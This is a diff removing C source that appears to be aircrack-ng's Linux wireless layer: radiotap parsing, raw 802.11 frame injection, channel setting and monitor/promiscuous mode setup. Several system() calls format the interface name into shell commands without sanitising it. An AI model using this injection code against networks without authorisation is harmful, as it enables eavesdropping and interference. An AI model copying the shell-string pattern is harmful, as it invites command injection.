-							ri->ri_noise = *iterator.this_arg - 255;
-
-						got_noise = 1;
-					}
-					break;
-
-				case IEEE80211_RADIOTAP_DB_ANTNOISE:
-					if (!got_noise)
-					{
-						if (*iterator.this_arg < 127)
-							ri->ri_noise = *iterator.this_arg;
-						else
-							ri->ri_noise = *iterator.this_arg - 255;
-
-						got_noise = 1;
-					}
-					break;
-
-				case IEEE80211_RADIOTAP_ANTENNA:
-					ri->ri_antenna = *iterator.this_arg;
-					break;
-
-				case IEEE80211_RADIOTAP_CHANNEL:
-					ri->ri_channel = getChannelFromFrequency(
-						le16toh(*(uint16_t *) iterator.this_arg));
-					got_channel = 1;
-					break;
-
-				case IEEE80211_RADIOTAP_RATE:
-					ri->ri_rate = (*iterator.this_arg) * 500000;
-					break;
-
-				case IEEE80211_RADIOTAP_FLAGS:
-					/* is the CRC visible at the end?
-				 * remove
-				 */
-					if (*iterator.this_arg & IEEE80211_RADIOTAP_F_FCS)
-					{
-						fcs_removed = 1;
-						caplen -= 4;
-					}
-
-					if (*iterator.this_arg & IEEE80211_RADIOTAP_F_BADFCS)
-						return (0);
-
-					break;
-			}
-		}
-
-		n = le16_to_cpu(rthdr->it_len);
-
-		if (n <= 0 || n >= caplen) return (0);
-	}
-
-	caplen -= n;
-
-	// detect fcs at the end, even if the flag wasn't set and remove it
-	if (fcs_removed == 0 && check_crc_buf_osdep(tmpbuf + n, caplen - 4) == 1)
-	{
-		caplen -= 4;
-	}
-
-	memcpy(buf, tmpbuf + n, caplen);
-
-	if (ri && !got_channel) ri->ri_channel = wi_get_channel(wi);
-
-	return (caplen);
-}
-
-static int linux_write(struct wif * wi,
-					   unsigned char * buf,
-					   int count,
-					   struct tx_info * ti)
-{
-	struct priv_linux * dev = wi_priv(wi);
-	unsigned char maddr[6];
-	int ret, usedrtap = 0;
-	unsigned char tmpbuf[4096];
-	unsigned char rate;
-	unsigned short int * p_rtlen;
-
-	unsigned char u8aRadiotap[] = {
-		0x00,
-		0x00, // <-- radiotap version
-		0x0c,
-		0x00, // <- radiotap header length
-		0x04,
-		0x80,
-		0x00,
-		0x00, // <-- bitmap
-		0x00, // <-- rate
-		0x00, // <-- padding for natural alignment
-		0x18,
-		0x00, // <-- TX flags
-	};
-
-	/* Pointer to the radiotap header length field for later use. */
-	p_rtlen = (unsigned short int *) (u8aRadiotap + 2);
-
-	if ((unsigned) count > sizeof(tmpbuf) - 22) return -1;
-
-	/* XXX honor ti */
-	if (ti)
-	{
-	}
-
-	rate = dev->rate;
-
-	u8aRadiotap[8] = rate;
-
-	switch (dev->drivertype)
-	{
-
-		case DT_MAC80211_RT:
-			memcpy(tmpbuf, u8aRadiotap, sizeof(u8aRadiotap));
-			memcpy(tmpbuf + sizeof(u8aRadiotap), buf, count);
-			count += sizeof(u8aRadiotap);
-
-			buf = tmpbuf;
-			usedrtap = 1;
-			break;
-
-		case DT_WLANNG:
-			/* Wlan-ng isn't able to inject on kernel > 2.6.11 */
-			if (dev->inject_wlanng == 0)
-			{
-				perror("write failed");
-				return (-1);
-			}
-
-			if (count >= 24)
-			{
-				/* for some reason, wlan-ng requires a special header */
-
-				if ((((unsigned char *) buf)[1] & 3) != 3)
-				{
-					memcpy(tmpbuf, buf, 24);
-					memset(tmpbuf + 24, 0, 22);
-
-					tmpbuf[30] = (count - 24) & 0xFF;
-					tmpbuf[31] = (count - 24) >> 8;
-
-					memcpy(tmpbuf + 46, buf + 24, count - 24);
-
-					count += 22;
-				}
-				else
-				{
-					memcpy(tmpbuf, buf, 30);
-					memset(tmpbuf + 30, 0, 16);
-
-					tmpbuf[30] = (count - 30) & 0xFF;
-					tmpbuf[31] = (count - 30) >> 8;
-
-					memcpy(tmpbuf + 46, buf + 30, count - 30);
-
-					count += 16;
-				}
-
-				buf = tmpbuf;
-			}
-		/* fall through */
-		case DT_HOSTAP:
-			if ((((unsigned char *) buf)[1] & 3) == 2)
-			{
-				/* Prism2 firmware swaps the dmac and smac in FromDS packets */
-
-				memcpy(maddr, buf + 4, 6);
-				memcpy(buf + 4, buf + 16, 6);
-				memcpy(buf + 16, maddr, 6);
-			}
-			break;
-		default:
-			break;
-	}
-
-	ret = write(dev->fd_out, buf, count);
-
-	if (ret < 0)
-	{
-		if (errno == EAGAIN || errno == EWOULDBLOCK || errno == ENOBUFS
-			|| errno == ENOMEM)
-		{
-			usleep(10000);
-			return (0);
-		}
-
-		perror("write failed");
-		return (-1);
-	}
-
-	/* radiotap header length is stored little endian on all systems */
-	if (usedrtap) ret -= letoh16(*p_rtlen);
-
-	if (ret < 0)
-	{
-		if (errno == EAGAIN || errno == EWOULDBLOCK || errno == ENOBUFS
-			|| errno == ENOMEM)
-		{
-			usleep(10000);
-			return (0);
-		}
-
-		perror("write failed");
-		return (-1);
-	}
-
-	return (ret);
-}
-
-#if defined(CONFIG_LIBNL)
-static int ieee80211_channel_to_frequency(int chan)
-{
-	if (chan < 14) return 2407 + chan * 5;
-
-	if (chan == 14) return 2484;
-
-	/* FIXME: dot11ChannelStartingFactor (802.11-2007 17.3.8.3.2) */
-	return (chan + 1000) * 5;
-}
-
-static int
-linux_set_ht_channel_nl80211(struct wif * wi, int channel, unsigned int htval)
-{
-	struct priv_linux * dev = wi_priv(wi);
-	char s[32];
-	int pid, status, unused;
-
-	unsigned int devid;
-	struct nl_msg * msg;
-	unsigned int freq;
-
-	memset(s, 0, sizeof(s));
-
-	switch (dev->drivertype)
-	{
-		case DT_WLANNG:
-			snprintf(s, sizeof(s) - 1, "channel=%d", channel);
-
-			if ((pid = fork()) == 0)
-			{
-				close(0);
-				close(1);
-				close(2);
-				unused = chdir("/");
-				execl(dev->wlanctlng,
-					  "wlanctl-ng",
-					  wi_get_ifname(wi),
-					  "lnxreq_wlansniff",
-					  s,
-					  NULL);
-				exit(1);
-			}
-
-			waitpid(pid, &status, 0);
-
-			if (WIFEXITED(status))
-			{
-				dev->channel = channel;
-				return (WEXITSTATUS(status));
-			}
-			else
-				return (1);
-			break;
-
-		case DT_ORINOCO:
-			snprintf(s, sizeof(s) - 1, "%d", channel);
-
-			if ((pid = fork()) == 0)
-			{
-				close(0);
-				close(1);
-				close(2);
-				unused = chdir("/");
-				execlp(dev->iwpriv,
-					   "iwpriv",
-					   wi_get_ifname(wi),
-					   "monitor",
-					   "1",
-					   s,
-					   NULL);
-				exit(1);
-			}
-
-			waitpid(pid, &status, 0);
-			dev->channel = channel;
-			return 0;
-			break; // yeah ;)
-
-		case DT_ZD1211RW:
-			snprintf(s, sizeof(s) - 1, "%d", channel);
-
-			if ((pid = fork()) == 0)
-			{
-				close(0);
-				close(1);
-				close(2);
-				unused = chdir("/");
-				execlp(dev->iwconfig,
-					   "iwconfig",
-					   wi_get_ifname(wi),
-					   "channel",
-					   s,
-					   NULL);
-				exit(1);
-			}
-
-			waitpid(pid, &status, 0);
-			dev->channel = channel;
-			chan = channel;
-			return 0;
-			break; // yeah ;)
-
-		default:
-			break;
-	}
-
-	/* libnl stuff */
-	chan = channel;
-
-	devid = if_nametoindex(wi->wi_interface);
-	freq = ieee80211_channel_to_frequency(channel);
-	msg = nlmsg_alloc();
-	if (!msg)
-	{
-		fprintf(stderr, "failed to allocate netlink message\n");
-		return 2;
-	}
-
-	genlmsg_put(msg,
-				0,
-				0,
-				genl_family_get_id(state.nl80211),
-				0,
-				0,
-				NL80211_CMD_SET_WIPHY,
-				0);
-
-	NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, devid);
-	NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_FREQ, freq);
-
-	unsigned ht = NL80211_CHAN_NO_HT;
-	switch (htval)
-	{
-		case CHANNEL_HT20:
-			ht = NL80211_CHAN_HT20;
-			break;
-		case CHANNEL_HT40_PLUS:
-			ht = NL80211_CHAN_HT40PLUS;
-			break;
-		case CHANNEL_HT40_MINUS:
-			ht = NL80211_CHAN_HT40MINUS;
-			break;
-	}
-	NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_CHANNEL_TYPE, ht);
-
-	nl_send_auto_complete(state.nl_sock, msg);
-	nlmsg_free(msg);
-
-	dev->channel = channel;
-
-	return (0);
-nla_put_failure:
-	return -ENOBUFS;
-}
-
-static int linux_set_channel_nl80211(struct wif * wi, int channel)
-{
-	return linux_set_ht_channel_nl80211(wi, channel, CHANNEL_NO_HT);
-}
-#else // CONFIG_LIBNL
-
-static int linux_set_channel(struct wif * wi, int channel)
-{
-	struct priv_linux * dev = wi_priv(wi);
-	char s[32];
-	int pid, status, unused;
-	struct iwreq wrq;
-
-	memset(s, 0, sizeof(s));
-
-	switch (dev->drivertype)
-	{
-		case DT_WLANNG:
-			snprintf(s, sizeof(s) - 1, "channel=%d", channel);
-
-			if ((pid = fork()) == 0)
-			{
-				close(0);
-				close(1);
-				close(2);
-				unused = chdir("/");
-				execl(dev->wlanctlng,
-					  "wlanctl-ng",
-					  wi_get_ifname(wi),
-					  "lnxreq_wlansniff",
-					  s,
-					  NULL);
-				exit(1);
-			}
-
-			waitpid(pid, &status, 0);
-
-			if (WIFEXITED(status))
-			{
-				dev->channel = channel;
-				return (WEXITSTATUS(status));
-			}
-			else
-				return (1);
-			break;
-
-		case DT_ORINOCO:
-			snprintf(s, sizeof(s) - 1, "%d", channel);
-
-			if ((pid = fork()) == 0)
-			{
-				close(0);
-				close(1);
-				close(2);
-				unused = chdir("/");
-				execlp(dev->iwpriv,
-					   "iwpriv",
-					   wi_get_ifname(wi),
-					   "monitor",
-					   "1",
-					   s,
-					   NULL);
-				exit(1);
-			}
-
-			waitpid(pid, &status, 0);
-			dev->channel = channel;
-			return 0;
-			break; // yeah ;)
-
-		case DT_ZD1211RW:
-			snprintf(s, sizeof(s) - 1, "%d", channel);
-
-			if ((pid = fork()) == 0)
-			{
-				close(0);
-				close(1);
-				close(2);
-				unused = chdir("/");
-				execlp(dev->iwconfig,
-					   "iwconfig",
-					   wi_get_ifname(wi),
-					   "channel",
-					   s,
-					   NULL);
-				exit(1);
-			}
-
-			waitpid(pid, &status, 0);
-			dev->channel = channel;
-			return 0;
-			break; // yeah ;)
-
-		default:
-			break;
-	}
-
-	memset(&wrq, 0, sizeof(struct iwreq));
-	strncpy(wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ);
-	wrq.ifr_name[IFNAMSIZ - 1] = 0;
-
-	wrq.u.freq.m = (double) channel;
-	wrq.u.freq.e = (double) 0;
-
-	if (ioctl(dev->fd_in, SIOCSIWFREQ, &wrq) < 0)
-	{
-		usleep(10000); /* madwifi needs a second chance */
-
-		if (ioctl(dev->fd_in, SIOCSIWFREQ, &wrq) < 0)
-		{
-			/*          perror( "ioctl(SIOCSIWFREQ) failed" ); */
-			return (1);
-		}
-	}
-
-	dev->channel = channel;
-
-	return (0);
-}
-#endif
-
-static int linux_set_freq(struct wif * wi, int freq)
-{
-	struct priv_linux * dev = wi_priv(wi);
-	char s[32];
-	int pid, status, unused;
-	struct iwreq wrq;
-
-	memset(s, 0, sizeof(s));
-
-	switch (dev->drivertype)
-	{
-		case DT_WLANNG:
-		case DT_ORINOCO:
-		case DT_ZD1211RW:
-			snprintf(s, sizeof(s) - 1, "%dM", freq);
-
-			if ((pid = fork()) == 0)
-			{
-				close(0);
-				close(1);
-				close(2);
-				unused = chdir("/");
-				execlp(dev->iwconfig,
-					   "iwconfig",
-					   wi_get_ifname(wi),
-					   "freq",
-					   s,
-					   NULL);
-				exit(1);
-			}
-
-			waitpid(pid, &status, 0);
-			dev->freq = freq;
-			return 0;
-			break; // yeah ;)
-
-		default:
-			break;
-	}
-
-	memset(&wrq, 0, sizeof(struct iwreq));
-	strncpy(wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ);
-	wrq.ifr_name[IFNAMSIZ - 1] = 0;
-
-	wrq.u.freq.m = (double) freq * 100000;
-	wrq.u.freq.e = (double) 1;
-
-	if (ioctl(dev->fd_in, SIOCSIWFREQ, &wrq) < 0)
-	{
-		usleep(10000); /* madwifi needs a second chance */
-
-		if (ioctl(dev->fd_in, SIOCSIWFREQ, &wrq) < 0)
-		{
-			/*          perror( "ioctl(SIOCSIWFREQ) failed" ); */
-			return (1);
-		}
-	}
-
-	dev->freq = freq;
-
-	return (0);
-}
-
-static int opensysfs(struct priv_linux * dev, char * iface, int fd)
-{
-	int fd2;
-	char buf[256];
-
-	if (iface == NULL || strlen(iface) >= IFNAMSIZ)
-	{
-		return 1;
-	}
-
-	/* ipw2200 injection */
-	snprintf(buf, 256, "/sys/class/net/%s/device/inject", iface);
-	fd2 = open(buf, O_WRONLY);
-
-	/* bcm43xx injection */
-	if (fd2 == -1)
-	{
-		snprintf(buf, 256, "/sys/class/net/%s/device/inject_nofcs", iface);
-		fd2 = open(buf, O_WRONLY);
-	}
-
-	if (fd2 == -1) return -1;
-
-	dup2(fd2, fd);
-	close(fd2);
-
-	dev->sysfs_inject = 1;
-	return 0;
-}
-
-int linux_get_monitor(struct wif * wi)
-{
-	struct priv_linux * dev = wi_priv(wi);
-	struct ifreq ifr;
-	struct iwreq wrq;
-
-	/* find the interface index */
-
-	if (dev->drivertype == DT_IPW2200) return (0);
-
-	memset(&ifr, 0, sizeof(ifr));
-	strncpy(ifr.ifr_name, wi_get_ifname(wi), sizeof(ifr.ifr_name) - 1);
-
-	//     if( ioctl( fd, SIOCGIFINDEX, &ifr ) < 0 )
-	//     {
-	//         printf("Interface %s: \n", iface);
-	//         perror( "ioctl(SIOCGIFINDEX) failed" );
-	//         return( 1 );
-	//     }
-
-	/* lookup the hardware type */
-
-	if (ioctl(wi_fd(wi), SIOCGIFHWADDR, &ifr) < 0)
-	{
-		printf("Interface %s: \n", wi_get_ifname(wi));
-		perror("ioctl(SIOCGIFHWADDR) failed");
-		return (1);
-	}
-
-	/* lookup iw mode */
-	memset(&wrq, 0, sizeof(struct iwreq));
-	strncpy(wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ);
-	wrq.ifr_name[IFNAMSIZ - 1] = 0;
-
-	if (ioctl(wi_fd(wi), SIOCGIWMODE, &wrq) < 0)
-	{
-		/* most probably not supported (ie for rtap ipw interface) *
-		 * so just assume its correctly set...                     */
-		wrq.u.mode = IW_MODE_MONITOR;
-	}
-
-	if ((ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211
-		 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM
-		 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL)
-		|| (wrq.u.mode != IW_MODE_MONITOR && (dev->drivertype != DT_ORINOCO)))
-	{
-		return (1);
-	}
-
-	return (0);
-}
-
-char * get_linux_driver(const char * iface)
-{
-	char path[PATH_MAX];
-	char link[PATH_MAX];
-	if (iface == NULL || strlen(iface) >= IFNAMSIZ)
-	{
-		return NULL;
-	}
-
-	// Read the link path
-	memset(path, 0, sizeof(path));
-	snprintf(path, sizeof(path), "/sys/class/net/%s/device/driver", iface);
-
-	// Read the link path
-	ssize_t len = readlink(path, link, sizeof(link));
-	if (len < 1 || len >= PATH_MAX)
-	{
-		return NULL;
-	}
-	memset(link + len, 0, sizeof(link) - len);
-
-	// Get driver name
-	const char * drv_idx = strrchr(link, '/');
-	if (drv_idx == NULL)
-	{
-		return NULL;
-	}
-
-	// Copy it to a new char * and return
-	ssize_t drv_len = len - (drv_idx - link);
-	if (drv_len <= 1)
-	{
-		return NULL;
-	}
-	char * ret = (char *) calloc(1, drv_len); // includes /
-	if (ret == NULL)
-	{
-		return NULL;
-	}
-	memcpy(ret, drv_idx + 1, drv_len - 1);
-	return ret;
-}
-
-int set_monitor(struct priv_linux * dev, char * iface, int fd)
-{
-	int pid, status, unused;
-	struct iwreq wrq;
-
-	if (iface == NULL || strlen(iface) >= IFNAMSIZ)
-	{
-		return (1);
-	}
-
-	if (strcmp(iface, "prism0") == 0)
-	{
-		dev->wl = wiToolsPath("wl");
-		if ((pid = fork()) == 0)
-		{
-			close(0);
-			close(1);
-			close(2);
-			unused = chdir("/");
-			execl(dev->wl, "wl", "monitor", "1", NULL);
-			exit(1);
-		}
-		waitpid(pid, &status, 0);
-		if (WIFEXITED(status)) return (WEXITSTATUS(status));
-		return (1);
-	}
-	else if (strncmp(iface, "rtap", 4) == 0)
-	{
-		return 0;
-	}
-	else
-	{
-		switch (dev->drivertype)
-		{
-			case DT_WLANNG:
-				if ((pid = fork()) == 0)
-				{
-					close(0);
-					close(1);
-					close(2);
-					unused = chdir("/");
-					execl(dev->wlanctlng,
-						  "wlanctl-ng",
-						  iface,
-						  "lnxreq_wlansniff",
-						  "enable=true",
-						  "prismheader=true",
-						  "wlanheader=false",
-						  "stripfcs=true",
-						  "keepwepflags=true",
-						  "6",
-						  NULL);
-					exit(1);
-				}
-
-				waitpid(pid, &status, 0);
-
-				if (WIFEXITED(status)) return (WEXITSTATUS(status));
-				return (1);
-				break;
-
-			case DT_ORINOCO:
-				if ((pid = fork()) == 0)
-				{
-					close(0);
-					close(1);
-					close(2);
-					unused = chdir("/");
-					execlp(dev->iwpriv,
-						   "iwpriv",
-						   iface,
-						   "monitor",
-						   "1",
-						   "1",
-						   NULL);
-					exit(1);
-				}
-
-				waitpid(pid, &status, 0);
-
-				if (WIFEXITED(status)) return (WEXITSTATUS(status));
-
-				return 1;
-				break;
-
-			case DT_ACX:
-				if ((pid = fork()) == 0)
-				{
-					close(0);
-					close(1);
-					close(2);
-					unused = chdir("/");
-					execlp(dev->iwpriv,
-						   "iwpriv",
-						   iface,
-						   "monitor",
-						   "2",
-						   "1",
-						   NULL);
-					exit(1);
-				}
-
-				waitpid(pid, &status, 0);
-
-				if (WIFEXITED(status)) return (WEXITSTATUS(status));
-
-				return 1;
-				break;
-
-			default:
-				break;
-		}
-
-		memset(&wrq, 0, sizeof(struct iwreq));
-		strncpy(wrq.ifr_name, iface, IFNAMSIZ);
-		wrq.ifr_name[IFNAMSIZ - 1] = 0;
-		wrq.u.mode = IW_MODE_MONITOR;
-
-		if (ioctl(fd, SIOCSIWMODE, &wrq) < 0)
-		{
-			perror("ioctl(SIOCSIWMODE) failed");
-			return (1);
-		}
-
-		if (dev->drivertype == DT_AT76USB)
-		{
-			sleep(3);
-		}
-	}
-
-	/* couple of iwprivs to enable the prism header */
-
-	if (!fork()) /* hostap */
-	{
-		close(0);
-		close(1);
-		close(2);
-		unused = chdir("/");
-		execlp("iwpriv", "iwpriv", iface, "monitor_type", "1", NULL);
-		exit(1);
-	}
-	wait(NULL);
-
-	if (!fork()) /* r8180 */
-	{
-		close(0);
-		close(1);
-		close(2);
-		unused = chdir("/");
-		execlp("iwpriv", "iwpriv", iface, "prismhdr", "1", NULL);
-		exit(1);
-	}
-	wait(NULL);
-
-	if (!fork()) /* prism54 */
-	{
-		close(0);
-		close(1);
-		close(2);
-		unused = chdir("/");
-		execlp("iwpriv", "iwpriv", iface, "set_prismhdr", "1", NULL);
-		exit(1);
-	}
-	wait(NULL);
-
-	return (0);
-}
-
-static int openraw(struct priv_linux * dev,
-				   char * iface,
-				   int fd,
-				   int * arptype,
-				   unsigned char * mac)
-{
-	struct ifreq ifr;
-	struct ifreq ifr2;
-	struct iwreq wrq;
-	struct iwreq wrq2;
-	struct packet_mreq mr;
-	struct sockaddr_ll sll;
-	struct sockaddr_ll sll2;
-
-	if (iface == NULL || strlen(iface) >= sizeof(ifr.ifr_name))
-	{
-		printf("Interface name too long: %s\n", iface);
-		return (1);
-	}
-
-	/* find the interface index */
-	memset(&ifr, 0, sizeof(ifr));
-	strncpy(ifr.ifr_name, iface, sizeof(ifr.ifr_name) - 1);
-
-	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
-	{
-		printf("Interface %s: \n", iface);
-		perror("ioctl(SIOCGIFINDEX) failed");
-		return (1);
-	}
-
-	memset(&sll, 0, sizeof(sll));
-	sll.sll_family = AF_PACKET;
-	sll.sll_ifindex = ifr.ifr_ifindex;
-
-	switch (dev->drivertype)
-	{
-		case DT_IPW2200:
-			/* find the interface index */
-
-			if (dev->main_if == NULL)
-			{
-				perror("Missing interface name");
-				return 1;
-			}
-
-			memset(&ifr2, 0, sizeof(ifr));
-			strncpy(ifr2.ifr_name, dev->main_if, sizeof(ifr2.ifr_name) - 1);
-
-			if (ioctl(dev->fd_main, SIOCGIFINDEX, &ifr2) < 0)
-			{
-				printf("Interface %s: \n", dev->main_if);
-				perror("ioctl(SIOCGIFINDEX) failed");
-				return (1);
-			}
-
-			/* set iw mode to managed on main interface */
-			memset(&wrq2, 0, sizeof(struct iwreq));
-			strncpy(wrq2.ifr_name, dev->main_if, IFNAMSIZ);
-			wrq2.ifr_name[IFNAMSIZ - 1] = 0;
-
-			if (ioctl(dev->fd_main, SIOCGIWMODE, &wrq2) < 0)
-			{
-				perror("SIOCGIWMODE");
-				return 1;
-			}
-			wrq2.u.mode = IW_MODE_INFRA;
-			if (ioctl(dev->fd_main, SIOCSIWMODE, &wrq2) < 0)
-			{
-				perror("SIOCSIWMODE");
-				return 1;
-			}
-
-			/* bind the raw socket to the interface */
-
-			memset(&sll2, 0, sizeof(sll2));
-			sll2.sll_family = AF_PACKET;
-			sll2.sll_ifindex = ifr2.ifr_ifindex;
-			sll2.sll_protocol = htons(ETH_P_ALL);
-
-			if (bind(dev->fd_main, (struct sockaddr *) &sll2, sizeof(sll2)) < 0)
-			{
-				printf("Interface %s: \n", dev->main_if);
-				perror("bind(ETH_P_ALL) failed");
-				return (1);
-			}
-
-			opensysfs(dev, dev->main_if, dev->fd_in);
-			break;
-		case DT_BCM43XX:
-			opensysfs(dev, iface, dev->fd_in);
-			break;
-		case DT_WLANNG:
-			sll.sll_protocol = htons(ETH_P_80211_RAW);
-			break;
-		default:
-			sll.sll_protocol = htons(ETH_P_ALL);
-			break;
-	}
-
-	/* lookup the hardware type */
-
-	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
-	{
-		printf("Interface %s: \n", iface);
-		perror("ioctl(SIOCGIFHWADDR) failed");
-		return (1);
-	}
-
-	/* lookup iw mode */
-	memset(&wrq, 0, sizeof(struct iwreq));
-	strncpy(wrq.ifr_name, iface, IFNAMSIZ);
-	wrq.ifr_name[IFNAMSIZ - 1] = 0;
-
-	if (ioctl(fd, SIOCGIWMODE, &wrq) < 0)
-	{
-		/* most probably not supported (ie for rtap ipw interface) *
-		 * so just assume its correctly set...                     */
-		wrq.u.mode = IW_MODE_MONITOR;
-	}
-
-	if ((ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211
-		 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM
-		 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL)
-		|| (wrq.u.mode != IW_MODE_MONITOR))
-	{
-		if (set_monitor(dev, iface, fd) && dev->drivertype != DT_ORINOCO)
-		{
-			ifr.ifr_flags &= ~(IFF_UP | IFF_BROADCAST | IFF_RUNNING);
-
-			if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
-			{
-				perror("ioctl(SIOCSIFFLAGS) failed");
-				return (1);
-			}
-
-			if (set_monitor(dev, iface, fd))
-			{
-				printf("Error setting monitor mode on %s\n", iface);
-				return (1);
-			}
-		}
-	}
-
-	/* Is interface st to up, broadcast & running ? */
-	if ((ifr.ifr_flags | IFF_UP | IFF_BROADCAST | IFF_RUNNING) != ifr.ifr_flags)
-	{
-		/* Bring interface up*/
-		ifr.ifr_flags |= IFF_UP | IFF_BROADCAST | IFF_RUNNING;
-
-		if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
-		{
-			perror("ioctl(SIOCSIFFLAGS) failed");
-			return (1);
-		}
-	}
-	/* bind the raw socket to the interface */
-
-	if (bind(fd, (struct sockaddr *) &sll, sizeof(sll)) < 0)
-	{
-		printf("Interface %s: \n", iface);
-		perror("bind(ETH_P_ALL) failed");
-		return (1);
-	}
-
-	/* lookup the hardware type */
-
-	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
-	{
-		printf("Interface %s: \n", iface);
-		perror("ioctl(SIOCGIFHWADDR) failed");
-		return (1);
-	}
-
-	memcpy(mac, (unsigned char *) ifr.ifr_hwaddr.sa_data, 6);
-
-	*arptype = ifr.ifr_hwaddr.sa_family;
-
-	if (ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211
-		&& ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM
-		&& ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL)
-	{
-		if (ifr.ifr_hwaddr.sa_family == ARPHRD_ETHERNET)
-			fprintf(stderr, "\nARP linktype is set to 1 (Ethernet) ");
-		else
-			fprintf(stderr,
-					"\nUnsupported hardware link type %4d ",
-					ifr.ifr_hwaddr.sa_family);
-
-		fprintf(stderr,
-				"- expected ARPHRD_IEEE80211,\nARPHRD_IEEE80211_"
-				"FULL or ARPHRD_IEEE80211_PRISM instead.  Make\n"
-				"sure RFMON is enabled: run 'airmon-ng start %s"
-				" <#>'\nSysfs injection support was not found "
-				"either.\n\n",
-				iface);
-		return (1);
-	}
-
-	/* enable promiscuous mode */
-
-	memset(&mr, 0, sizeof(mr));
-	mr.mr_ifindex = sll.sll_ifindex;
-	mr.mr_type = PACKET_MR_PROMISC;
-
-	if (setsockopt(fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mr, sizeof(mr)) < 0)
-	{
-		perror("setsockopt(PACKET_MR_PROMISC) failed");
-		return (1);
-	}
-
-	return (0);
-}
-
-/*
- * Open the interface and set mode monitor
- * Return 1 on failure and 0 on success
- */
-static int do_linux_open(struct wif * wi, char * iface)
-{
-	int kver, unused;
-	struct utsname checklinuxversion;
-	struct priv_linux * dev = wi_priv(wi);
-	char * iwpriv = NULL;
-	char strbuf[512];
-	FILE * f;
-	char athXraw[] = "athXraw";
-	pid_t pid;
-	int n;
-	DIR * net_ifaces;
-	struct dirent * this_iface;
-	FILE * acpi;
-	char buf[128];
-	char * r_file = NULL;
-	struct ifreq ifr;
-	char * unused_str;
-	int iface_malloced = 0;
-
-	if (iface == NULL || strlen(iface) >= IFNAMSIZ)
-	{
-		return (1);
-	}
-
-	dev->inject_wlanng = 1;
-	dev->rate = 2; /* default to 1Mbps if nothing is set */
-
-	/* open raw socks */
-	if ((dev->fd_in = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0)
-	{
-		perror("socket(PF_PACKET) failed");
-		if (getuid() != 0)
-			fprintf(stderr, "This program requires root privileges.\n");
-		return (1);
-	}
-
-	if ((dev->fd_main = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0)
-	{
-		perror("socket(PF_PACKET) failed");
-		if (getuid() != 0)
-			fprintf(stderr, "This program requires root privileges.\n");
-		return (1);
-	}
-
-	/* Check iwpriv existence */
-	iwpriv = wiToolsPath("iwpriv");
-
-#ifndef CONFIG_LIBNL
-	dev->iwpriv = iwpriv;
-	dev->iwconfig = wiToolsPath("iwconfig");
-	dev->ifconfig = wiToolsPath("ifconfig");
-
-	if (!iwpriv)
-	{
-		fprintf(stderr,
-				"Required wireless tools when compiled without libnl "
-				"could not be found, exiting.\n");
-		goto close_in;
-	}
-#endif
-
-	/* Exit if ndiswrapper : check iwpriv ndis_reset */
-
-	if (is_ndiswrapper(iface, iwpriv))
-	{
-		fprintf(stderr, "Ndiswrapper doesn't support monitor mode.\n");
-		goto close_in;
-	}
-
-	if ((dev->fd_out = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0)
-	{
-		perror("socket(PF_PACKET) failed");
-		goto close_in;
-	}
-	/* figure out device type */
-
-	/* mac80211 radiotap injection
-	 * detected based on interface called mon...
-	 * since mac80211 allows multiple virtual interfaces
-	 *
-	 * note though that the virtual interfaces are ultimately using a
-	 * single physical radio: that means for example they must all
-	 * operate on the same channel
-	 */
-
-	/* mac80211 stack detection */
-	memset(strbuf, 0, sizeof(strbuf));
-	snprintf(strbuf,
-			 sizeof(strbuf) - 1,
-			 "ls /sys/class/net/%s/phy80211/subsystem >/dev/null 2>/dev/null",
-			 iface);
-
-	if (system(strbuf) == 0) dev->drivertype = DT_MAC80211_RT;
-
-	/* IPW2200 detection */
-	memset(strbuf, 0, sizeof(strbuf));
-	snprintf(strbuf,
-			 sizeof(strbuf) - 1,
-			 "ls /sys/class/net/%s/device/inject >/dev/null 2>/dev/null",
-			 iface);
-
-	if (system(strbuf) == 0) dev->drivertype = DT_IPW2200;
-
-	/* BCM43XX detection */
-	memset(strbuf, 0, sizeof(strbuf));
-	snprintf(strbuf,
-			 sizeof(strbuf) - 1,
-			 "ls /sys/class/net/%s/device/inject_nofcs >/dev/null 2>/dev/null",
-			 iface);
-
-	if (system(strbuf) == 0) dev->drivertype = DT_BCM43XX;
-
-	/* check if wlan-ng or hostap or r8180 */
-	if (strlen(iface) == 5 && memcmp(iface, "wlan", 4) == 0)
-	{
-		memset(strbuf, 0, sizeof(strbuf));
-		snprintf(strbuf,
-				 sizeof(strbuf) - 1,
-				 "wlancfg show %s 2>/dev/null | "
-				 "grep p2CnfWEPFlags >/dev/null",
-				 iface);
-
-		if (system(strbuf) == 0)
-		{
-			if (uname(&checklinuxversion) >= 0)
-			{
-				/* uname succeeded */
-				if (strncmp(checklinuxversion.release, "2.6.", 4) == 0
-					&& strncasecmp(checklinuxversion.sysname, "linux", 5) == 0)
-				{
-					/* Linux kernel 2.6 */
-					kver = atoi(checklinuxversion.release + 4);
-
-					if (kver > 11)
-					{
-						/* That's a kernel > 2.6.11, cannot inject */
-						dev->inject_wlanng = 0;
-					}
-				}
-			}
-			dev->drivertype = DT_WLANNG;
-			dev->wlanctlng = wiToolsPath("wlanctl-ng");
-		}
-
-		memset(strbuf, 0, sizeof(strbuf));
